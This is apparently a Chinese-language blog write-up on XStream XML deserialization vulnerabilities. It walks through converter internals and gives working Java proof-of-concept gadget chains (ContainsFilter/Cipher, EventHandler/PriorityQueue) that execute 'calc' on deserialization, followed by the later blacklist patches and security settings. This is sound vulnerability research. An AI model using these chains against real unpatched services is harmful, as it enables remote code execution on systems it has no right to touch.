前言
又一种反序列化漏洞,跟处理 JSON 的 Fastjson 相似,不过是处理 XML 的。
简单使用
参考文章,看官方文档也可以。
序列化后的数据大概是这个样子的,Data 是个没有继承的自定义类:
1 2 3 4 5 6 7 8 9
| <org.example.Data> <data>Twings</data> <map> <entry> <string>name</string> <string>Aluvion</string> </entry> </map> </org.example.Data>
|
因为序列化的类不需要继承 Serializable,所以可供选择的过程链就更丰富了。
反序列化过程
XStream 1.4.6,反序列化的正式开始在 TreeUnmarshaller 类的 start 函数:
1 2 3 4 5 6 7 8 9 10 11
| public Object start(DataHolder dataHolder) { this.dataHolder = dataHolder; Class type = HierarchicalStreams.readClassType(reader, mapper); Object result = convertAnother(null, type); Iterator validations = validationList.iterator(); while (validations.hasNext()) { Runnable runnable = (Runnable)validations.next(); runnable.run(); } return result; }
|
调用 readClassType 从字符串中读取类名,然后调用 convertAnother:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public Object convertAnother(Object parent, Class type, Converter converter) { type = mapper.defaultImplementationOf(type); if (converter == null) { converter = converterLookup.lookupConverterForType(type); } else { if (!converter.canConvert(type)) { ConversionException e = new ConversionException( "Explicit selected converter cannot handle type"); e.add("item-type", type.getName()); e.add("converter-type", converter.getClass().getName()); throw e; } } return convert(parent, type, converter); }
|
此时的 converter 为空,所以会调用 lookupConverterForType 获取相应类型的 converter:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public Converter lookupConverterForType(Class type) { Converter cachedConverter = (Converter) typeToConverterMap.get(type); if (cachedConverter != null) { return cachedConverter; } Iterator iterator = converters.iterator(); while (iterator.hasNext()) { Converter converter = (Converter) iterator.next(); if (converter.canConvert(type)) { typeToConverterMap.put(type, converter); return converter; } } throw new ConversionException("No converter specified for " + type); }
|
converters 是一个 PrioritizedList 列表,会根据权限进行排列,注册 converter 的时候会输入该 converter 的权限等级,比如 ReflectionConverter 的权限就是最低的 PRIORITY_VERY_LOW,即 -20:
1
| registerConverter(new ReflectionConverter(mapper, reflectionProvider), PRIORITY_VERY_LOW)
|
遍历内部的 converters 列表,从中选出一个可以对该类型进行 convert 的 converter,在前面的 converter 都不符合的情况下(比如测试代码中的 Data 类),会选取最后一个 converter,也就是 ReflectionConverter。
之后会进入该 converter 的 unmarshal:
1 2 3 4 5 6
| public Object unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) { Object result = instantiateNewInstance(reader, context); result = doUnmarshal(result, reader, context); return serializationMethodInvoker.callReadResolve(result); }
|
实例化该类,然后调用 doUnmarshal 开始反序列化成员,通过反射获取 Field 之后,会反序列化该成员的值,然后通过反射赋值进去:
1 2 3 4 5 6
| value = unmarshallField(context, result, type, field); ... if (field != null) { reflectionProvider.writeField(result, fieldName, value, field.getDeclaringClass()); seenFields.add(new FastField(field.getDeclaringClass(), fieldName)); }
|
也就不会触发该类的 getter、setter 等函数了。
其他 converter
ReflectionConverter 是无法使用的了,不过 com.thoughtworks.xstream.converters 包下面的其他 converter 的反序列化过程中可能存在反序列化利用链的入口。
collections
这个包里面都是些数组类型的类,这里有一个反序列化链中经常出场的类 Map 的 converter:MapConverter。
它的反序列化函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) { Map map = (Map) createCollection(context.getRequiredType()); populateMap(reader, context, map); return map; }
protected void populateMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map) { populateMap(reader, context, map, map); }
protected void populateMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map, Map target) { while (reader.hasMoreChildren()) { reader.moveDown(); putCurrentEntryIntoMap(reader, context, map, target); reader.moveUp(); } }
protected void putCurrentEntryIntoMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map, Map target) { reader.moveDown(); Object key = readItem(reader, context, map); reader.moveUp();
reader.moveDown(); Object value = readItem(reader, context, map); reader.moveUp();
target.put(key, value); }
|
简单来说就是会调用某个 Map 的 put,比如我们熟悉的 HashMap,所以可以用来连接某个类的 hashCode、equals 等函数。
这里参考一条复杂的链,反射点在 ContainsFilter 类的 filter 函数中:
1 2 3 4 5 6 7
| public boolean filter(Object elt) { try { return contains((String[])method.invoke(elt), name); } catch (Exception e) { return false; } }
|
ContainsFilter 继承的是 ServiceRegistry.Filter 接口,而用到这个接口的地方我只看到 FilterIterator 类的 advance 函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| private void advance() { while (iter.hasNext()) { T elt = iter.next(); if (filter.filter(elt)) { next = elt; return; } }
next = null; }
public T next() { if (next == null) { throw new NoSuchElementException(); } T o = next; advance(); return o; }
|
调用 Iterator 的 next 函数,就可以连接上反射。但是有个问题,一般的 Iterator 都来自 iterator()、keys() 等无法控制的函数,所以我们需要找到一个含有 Iterator 成员的类,我们找到 Cipher 类,它的 chooseFirstProvider 函数会调用 Iterator 的 next。
继续往前看,doFinal 会调用 chooseFirstProvider:
1 2 3 4 5
| public final byte[] doFinal() throws IllegalBlockSizeException, BadPaddingException { this.checkCipherState(); this.chooseFirstProvider(); return this.spi.engineDoFinal((byte[])null, 0, 0); }
|
然后是 CipherInputStream 类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| private int getMoreData() throws IOException { if (this.done) { return -1; } else { int var1 = this.input.read(this.ibuffer); if (var1 == -1) { this.done = true;
try { this.obuffer = this.cipher.doFinal(); } ... } ... } ... }
public int read(byte[] var1, int var2, int var3) throws IOException { int var4; if (this.ostart >= this.ofinish) { for(var4 = 0; var4 == 0; var4 = this.getMoreData()) { }
if (var4 == -1) { return -1; } } ... }
|
接下来需要找到一个可控的 InputStream 并调用其 read 函数,找到 Base64Data 类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public byte[] get() { if (this.data == null) { try { ByteArrayOutputStreamEx baos = new ByteArrayOutputStreamEx(1024); InputStream is = this.dataHandler.getDataSource().getInputStream(); baos.readFrom(is); is.close(); this.data = baos.getBuffer(); this.dataLen = baos.size(); } catch (IOException var3) { this.dataLen = 0; } }
return this.data; }
public String toString() { this.get(); return DatatypeConverterImpl._printBase64Binary(this.data, 0, this.dataLen); }
|
我们先看看 getDataSource:
1 2 3 4 5 6 7 8 9 10 11
| public DataSource getDataSource() { if (this.dataSource == null) { if (this.objDataSource == null) { this.objDataSource = new DataHandlerDataSource(this); }
return this.objDataSource; } else { return this.dataSource; } }
|
可以控制返回为一个 DataSource 对象,我们再找到一个 getInputStream 可控的 DataSource 类就行,比如 XmlDataSource:
1 2 3 4
| public InputStream getInputStream() { this.consumed = !this.consumed; return this.is; }
|
这样我们就连通了 toString 和反射,接下来我们需要找到一个方法连通 toString,找到 NativeString 类:
1 2 3 4 5 6 7
| public int hashCode() { return this.getStringValue().hashCode(); }
private String getStringValue() { return this.value instanceof String ? (String)this.value : this.value.toString(); }
|
value 为 CharSequence 对象,正好 Base64Data 就继承了这个接口。这样就能跟 HashMap 接起来了,写个测试代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| Method start = ProcessBuilder.class.getDeclaredMethod("start"); Constructor constructor1 = Class.forName("javax.imageio.ImageIO$ContainsFilter").getDeclaredConstructors()[0]; constructor1.setAccessible(true); ServiceRegistry.Filter filter = (ServiceRegistry.Filter)constructor1.newInstance(start, "start");
ArrayList arrayList = new ArrayList(1); arrayList.add(new ProcessBuilder("calc")); Constructor constructor2 = Object.class.getDeclaredConstructor(); constructor2.setAccessible(true); Constructor constructor2_2 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(Class.forName("javax.imageio.spi.FilterIterator"), constructor2); constructor2_2.setAccessible(true); Object filterIterator = constructor2_2.newInstance(); setField(filterIterator, "next", new Object()); setField(filterIterator, "iter", arrayList.iterator()); setField(filterIterator, "filter", filter);
Constructor constructor3 = Class.forName("javax.crypto.Cipher").getDeclaredConstructors()[1]; constructor3.setAccessible(true); Object cipher = constructor3.newInstance(null, null); setField(cipher, "serviceIterator", filterIterator); setField(cipher, "initialized", true); setField(cipher, "opmode", 1); setField(cipher, "lock", new Object());
ByteArrayInputStream byteInputStream = new ByteArrayInputStream("".getBytes()); CipherInputStream cipherInputStream = new CipherInputStream(byteInputStream, (Cipher)cipher);
Constructor constructor4 = Class.forName("com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource").getDeclaredConstructors()[0]; constructor4.setAccessible(true); Object xmlDataSource = constructor4.newInstance("Twings", cipherInputStream); DataHandler dataHandler = new DataHandler((DataSource)xmlDataSource); Base64Data base64Data = new Base64Data(); setField(base64Data, "dataHandler", dataHandler);
Constructor constructor5 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(Class.forName("jdk.nashorn.internal.objects.NativeString"), Object.class.getDeclaredConstructor()); constructor5.setAccessible(true); Object nativeString = constructor5.newInstance(); setField(nativeString, "value", base64Data); HashMap hashMap = new HashMap(1); hashMap.put("name", "Twings"); Object[] table = (Object[])getFieldValue(hashMap, "table"); setField(table[0], "key", nativeString);
|
写的有点乱,有点地方可能用 ReflectionFactory 实例化对象比较好,懒得改了。
除了这条链,还有一条通过 Bcel ClassLoader 进行利用的类,不过我的环境上找不到这个 ClassLoader 了,可能是早期 JDK 版本的类4,感兴趣的可以去看看参考文章。
同样的,其他的 converter 还会调用 add、compare 等,就不多说了。
Reflection
里面有个 SerializableConverter,可以触发 readObject,序列化出来的 XML 会加上 serialization=”custom” 的标识说明该类重写了 readObject 等方法:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <org.example.Data serialization="custom"> <org.example.Data> <default> <data>T</data> <map> <entry> <string>name</string> <string>Aluvion</string> </entry> </map> </default> </org.example.Data> </org.example.Data>
|
extended
里面有个 DynamicProxyConverter,用于反序列化动态代理,而 JDK 内部有个动态代理类 EventHandler,它的 invoke 会调用 invokeInternal 函数,而这个函数中有一个明显的反射调用:
1
| return MethodUtil.invoke(targetMethod, target, newArgs);
|
我们来看看怎么控制这里的函数名、目标对象和参数。
首先,代理的不能是 hashCode、equals、toString 这三个函数,不然会 return:
1 2 3 4 5 6 7 8 9 10 11
| String methodName = method.getName(); if (method.getDeclaringClass() == Object.class) { if (methodName.equals("hashCode")) { return new Integer(System.identityHashCode(proxy)); } else if (methodName.equals("equals")) { return (proxy == arguments[0] ? Boolean.TRUE : Boolean.FALSE); } else if (methodName.equals("toString")) { return proxy.getClass().getName() + '@' + Integer.toHexString(proxy.hashCode()); } }
|
然后要满足:
1
| listenerMethodName == null || listenerMethodName.equals(methodName)
|
直接通过反序列化赋值就行。接着获取参数的两个分支:
1 2 3 4 5 6 7 8 9 10
| if (eventPropertyName == null) { newArgs = new Object[]{}; argTypes = new Class<?>[]{}; } else { Object input = applyGetters(arguments[0], getEventPropertyName()); newArgs = new Object[]{input}; argTypes = new Class<?>[]{input == null ? null : input.getClass()}; }
|
上面是无参,下面则是单参,而该参数来自 applyGetters 函数(applyGetters 的第二参数可控,第一参数可能可控),首先是:
1 2 3
| if (getters == null || getters.equals("")) { return target; }
|
可以是第一个参数本身,然后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| int firstDot = getters.indexOf('.'); if (firstDot == -1) { firstDot = getters.length(); } String first = getters.substring(0, firstDot); String rest = getters.substring(Math.min(firstDot + 1, getters.length()));
try { Method getter = null; if (target != null) { getter = Statement.getMethod(target.getClass(), "get" + NameGenerator.capitalize(first), new Class<?>[]{}); if (getter == null) { getter = Statement.getMethod(target.getClass(), "is" + NameGenerator.capitalize(first), new Class<?>[]{}); } if (getter == null) { getter = Statement.getMethod(target.getClass(), first, new Class<?>[]{}); } } if (getter == null) { throw new RuntimeException("No method called: " + first + " defined on " + target); } Object newTarget = MethodUtil.invoke(getter, target, new Object[]{}); return applyGetters(newTarget, rest); }
|
简单来说,就是调用某个类的无参函数,然后套娃继续 applyGetters,不过好像也没什么意义,如果想要反射调用单参函数,直接在最前方 return 就成。
回到 invokeInternal,接下来就是反射调用函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| try { int lastDot = action.lastIndexOf('.'); if (lastDot != -1) { target = applyGetters(target, action.substring(0, lastDot)); action = action.substring(lastDot + 1); } Method targetMethod = Statement.getMethod( target.getClass(), action, argTypes); if (targetMethod == null) { targetMethod = Statement.getMethod(target.getClass(), "set" + NameGenerator.capitalize(action), argTypes); } if (targetMethod == null) { String argTypeString = (argTypes.length == 0) ? " with no arguments" : " with argument " + argTypes[0]; throw new RuntimeException( "No method called " + action + " on " + target.getClass() + argTypeString); } return MethodUtil.invoke(targetMethod, target, newArgs); }
|
无参版本 Runtime 是用不了了,不过可以用 ProcessBuilder,找个接口把 EventHandler 接起来,这里有使用的是 commons-collections 中使用过的 PriorityQueue 类及接口 Comparator,走的 converter 为 SerializableConverter,通过 readObject 触发 compare 从而连接上 EventHandler 中的反射操作。
无参数版本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public static void main( String[] args ) { ProcessBuilder processBuilder = new ProcessBuilder("calc"); Comparator proxy = EventHandler.create(Comparator.class, processBuilder, "start"); Object hValue = getFieldValue(proxy, "h"); setField(hValue, "acc", null); PriorityQueue priorityQueue = new PriorityQueue(2); priorityQueue.add("Twings"); priorityQueue.add("Aluvion"); setField(priorityQueue, "comparator", proxy); XStream xstream = new XStream(); String xml = xstream.toXML(priorityQueue); System.out.println(xml); System.out.println(xstream.fromXML(xml)); }
|
单参数版本,通过 Runtime 进行命令执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public static void main( String[] args ) { ScriptEngineManager scriptEngineManager = new ScriptEngineManager(); Comparator proxy = EventHandler.create(Comparator.class, Runtime.getRuntime(), "exec"); Object hValue = getFieldValue(proxy, "h"); setField(hValue, "eventPropertyName", ""); setField(hValue, "acc", null); PriorityQueue priorityQueue = new PriorityQueue(2); priorityQueue.add("calc"); priorityQueue.add("calc"); setField(priorityQueue, "comparator", proxy); XStream xstream = new XStream(); String xml = xstream.toXML(priorityQueue); System.out.println(xml); System.out.println(xstream.fromXML(xml)); }
|
至于为什么 Runtime 对象可以反序列化出来,这就留到后文再研究了,还有就是 applyGetters 函数里面的链式无参函数调用,有什么作用暂时想不到了,要不就链式实现某个效果,要不就执行出来作为某个单参函数的参数。
除了 Comparator,其他很多接口比如 comparable 也是可以用的,参考。
其他利用链
除了上面提到的两个泛用的利用链,还有一些需要依赖才能使用的利用链,具体的可以看这个项目。
安全措施
1.4.7-1.4.9
ReflectionConverter 进行了修补,在 canConvert 函数中加上了黑名单检测:
1 2 3 4
| public boolean canConvert(Class type) { return ((this.type != null && this.type == type) || (this.type == null && type != null && type != eventHandlerType)) && canAccess(type); }
|
所以 EventHandler 类就无法反序列化了,不过在 ContainsFilter 触发的利用链还是可以使用的。
1.4.10
在注册 converter 的时候注册了一个黑名单 converter,权限为 PRIORITY_LOW,会在 ReflectionConverter 前调用:
1
| registerConverter(new InternalBlackList(), PRIORITY_LOW);
|
黑名单中的类如下:
1 2 3 4 5 6 7 8
| public boolean canConvert(final Class type) { return (type == void.class || type == Void.class) || (insecureWarning && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto."))); }
|
javax.crypto 这个包名被黑名单拦截了,所以要想绕过,就要找到其他类替代 Cipher 和 CipherInputStream,来连接起 read 和 Iterator 的 next 函数。
当然,仅有黑名单的检测往往是不够的,最好还是开启 Xstream 的安全措施:
1
| XStream.setupDefaultSecurity(xstream);
|
这样就会有内部的白名单检测,基本已经无法利用了。
题外话一:使用的 compare 来自 PriorityQueue 而不是 TreeMap
虽然 TreeMap 的 put 函数中也会触发 compare,但是 TreeMap 会有一个专门的 converter,叫做 TreeMapConverter,它的反序列化函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| protected void populateTreeMap(HierarchicalStreamReader reader, UnmarshallingContext context, TreeMap result, Comparator comparator) { boolean inFirstElement = comparator == NULL_MARKER; if (inFirstElement) { comparator = null; } SortedMap sortedMap = new PresortedMap(comparator != null && JVM.hasOptimizedTreeMapPutAll() ? comparator : null); if (inFirstElement) { putCurrentEntryIntoMap(reader, context, result, sortedMap); reader.moveUp(); } populateMap(reader, context, result, sortedMap); try { if (JVM.hasOptimizedTreeMapPutAll()) { if (comparator != null && comparatorField != null) { comparatorField.set(result, comparator); } result.putAll(sortedMap); } else if (comparatorField != null) { comparatorField.set(result, sortedMap.comparator()); result.putAll(sortedMap); comparatorField.set(result, comparator); } else { result.putAll(sortedMap); } } catch (final IllegalAccessException e) { throw new ObjectAccessException("Cannot set comparator of TreeMap", e); } }
|
它生成 TreeMap 的方式不是一个个将数据 put 进去,而是先将数据放在一个 PresortedMap 中(PresortedMap 不会触发 compare),然后调用 putAll 将其放入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public void putAll(Map<? extends K, ? extends V> map) { int mapSize = map.size(); if (size==0 && mapSize!=0 && map instanceof SortedMap) { Comparator<?> c = ((SortedMap<?,?>)map).comparator(); if (c == comparator || (c != null && c.equals(comparator))) { ++modCount; try { buildFromSorted(mapSize, map.entrySet().iterator(), null, null); } catch (java.io.IOException cannotHappen) { } catch (ClassNotFoundException cannotHappen) { } return; } } super.putAll(map); }
|
在参数为 SortedMap 的情况下,会调用 buildFromSorted 而不会调用下面的 putAll,一路下来都不会触发 compare,所以也就无法使用了。
题外话二:Runtime 的反序列化
跟踪来到 AbstractReflectionConverter 类的 instantiateNewInstance 函数,这里会调用根据类名实例化一个对象:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| protected Object instantiateNewInstance(HierarchicalStreamReader reader, UnmarshallingContext context) { String attributeName = mapper.aliasForSystemAttribute("resolves-to"); String readResolveValue = attributeName == null ? null : reader .getAttribute(attributeName); Object currentObject = context.currentObject(); if (currentObject != null) { return currentObject; } else if (readResolveValue != null) { return reflectionProvider.newInstance(mapper.realClass(readResolveValue)); } else { return reflectionProvider.newInstance(context.getRequiredType()); } }
|
然后调用 reflectionProvider.newInstance,最后来到 unsafe.allocateInstance,参考文章。
作用跟前面用到过的 ReflectionFactory 相似,可以在不调用构造函数的情况下实例化一个类,所以 Runtime 也可以实例化出来。
题外话三:高版本未开启安全措施下的利用
留坑,以后有空再看。
参考文章
https://www.anquanke.com/post/id/204314
https://www.anquanke.com/post/id/172198